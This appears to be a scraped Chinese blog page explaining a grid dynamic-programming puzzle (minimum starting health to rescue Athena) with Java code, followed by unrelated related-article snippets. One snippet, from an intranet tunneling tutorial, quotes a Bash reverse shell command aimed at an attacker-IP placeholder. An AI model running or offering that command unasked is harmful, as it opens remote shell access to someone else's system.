拯救雅典娜

news/2024/10/18 9:20:39/

题目

黄金圣斗士拯救雅典娜,雅典娜在右下角

  • 每次只能往右边或者下面走,每个位置的值代表遭遇的事件,如果是负数则扣血
  • 如果是正数则回血,走到任何一个位置,血量都不能少于1,为了保证救出雅典娜,
  • 初始血量至少是多少?

输入

 -2  -3   3-5 -10  10  30 -5 

解析

这是一道动态规划的题目,可以考虑倒着使用dp。因为少于一点血就会死亡,所以有

dp[i][j]] >= 1 && ( dp[i][j]+map[i][j]>=dp[i+1][j] || dp[i][j]+map[i][j]>=dp[i][j+1] )

上面的||是二者取其一即可,因为要求的是初始血量的最小值。
因为是倒着使用的,所以后面的是已知的。 现在看一下初始条件,初始条件即骑士走完map[i][j]之后血量仍然要>=1, 这样可以得到初始条件

dp[n-1][m-1] >= 1 && dp[n-1][m-1]+map[n-1][m-1]>=1 

代码如下(java)

public int getMin(int n, int m, int[][] map) {if (map == null || n == 0 || m == 0) return 1;int[][] dp = new int[n][m];for(int i = n-1;i>=0;i--) {for(int j = m-1;j>=0;j--) {if(i==n-1 && j==m-1)dp[i][j] = Math.max(1,1-map[i][j]);else if(i==n-1)dp[i][j] = Math.max(1,dp[i][j+1]-map[i][j]);else if(j==m-1)dp[i][j] = Math.max(1,dp[i+1][j]-map[i][j]);elsedp[i][j] = Math.min(Math.max(1,dp[i+1][j]-map[i][j]), Math.max(1,dp[i][j+1]-map[i][j]));}}return dp[0][0];}

http://www.ppmy.cn/news/572496.html

相关文章

雅典娜阿拉克涅

最近又在随手翻看《希腊神话》,庞大杂乱的希腊神祗和英雄谱系总是弄得人头昏脑胀,更不用说许许多多长得差不多,又长又拗口的人名。 出于少年时对圣斗士的美好记忆,总是对雅典娜Athena的部分格外有兴趣。 对于圣斗士一代来说&#…

雅典娜的独白

引言 在古希腊神话中,有一个被称为雅典娜的女神,她是众神之王宙斯的女儿,继承了他父亲的旺盛性欲,同时又是奥林痞斯山3大美女之一,所以一出生的时候就被男人所包围。疯狂爱怜他的男人们挑起了一次又一次争风吃醋的战争…

雅典娜雅典娜

If you’re using AWS for data transformation, you’re going to run into Athena sooner or later. Athena allows you to query data across multiple data stores, with a well-known SQL syntax (Presto 6.15). 如果您使用AWS进行数据转换,则迟早会遇到Athena…

六、Docker容器数据卷

学习参考:尚硅谷Docker实战教程、Docker官网、其他优秀博客(参考过的在文章最后列出) 目录 前言一、容器数据卷1.1 容器数据卷1.2 怎么用1.3 能干什么 二、实践案例2.1 启动ubuntu容器实例,挂载目录:2.2 在ubuntu容器实例的/tmp/docker_data中…

内网隧道代理技术(七)之Bash反弹shell

Bash反弹shell Bash介绍 Shell也称为终端或壳,是人与内核之间的翻译官,而Bash则是Linux中默认使用的Shell Bash 反弹Shell的命令如下: bash -i >&/dev/tcp/攻击机_IP/攻击机端口 0>&1 bash -i >&/dev/tcp/攻击机_IP…

html闪屏代码,JS闪屏代码,闪瞎你的眼睛

JS判断手机访问函数 函数is_mobile()手机端返回true,PC端返回false,根据返回值来判断时候是手机端访问,然后做相应的操作。 复制代码 代码如下: script function is_mobile() { var regex_match /(nokia|iphone|android|motorola|^mot-|soft…

Android闪屏页适配

Android闪屏页适配 首先,为了避免第一次打开出现白屏,所以应该自定义style,添加anroid:windowBackground属性。此属性下放了一张1080*1920的闪屏图片,会出现在不同尺寸的屏幕上闪屏图片被压缩的情况。 于是,我的解决方…

Egret部分低版本安卓手机闪屏

棋牌游戏,用的是renderMode:"canvas"模式.测试发现,在安卓5.0.1版本上会白色闪屏,就是打出一张牌或有图片变动,就会闪一下. 暂时解决办法是 首先index.html中的data-show-paint-rect设置为true, 修改引擎代码egret.js,注释掉下面的一行. for (var i 0; i < leng…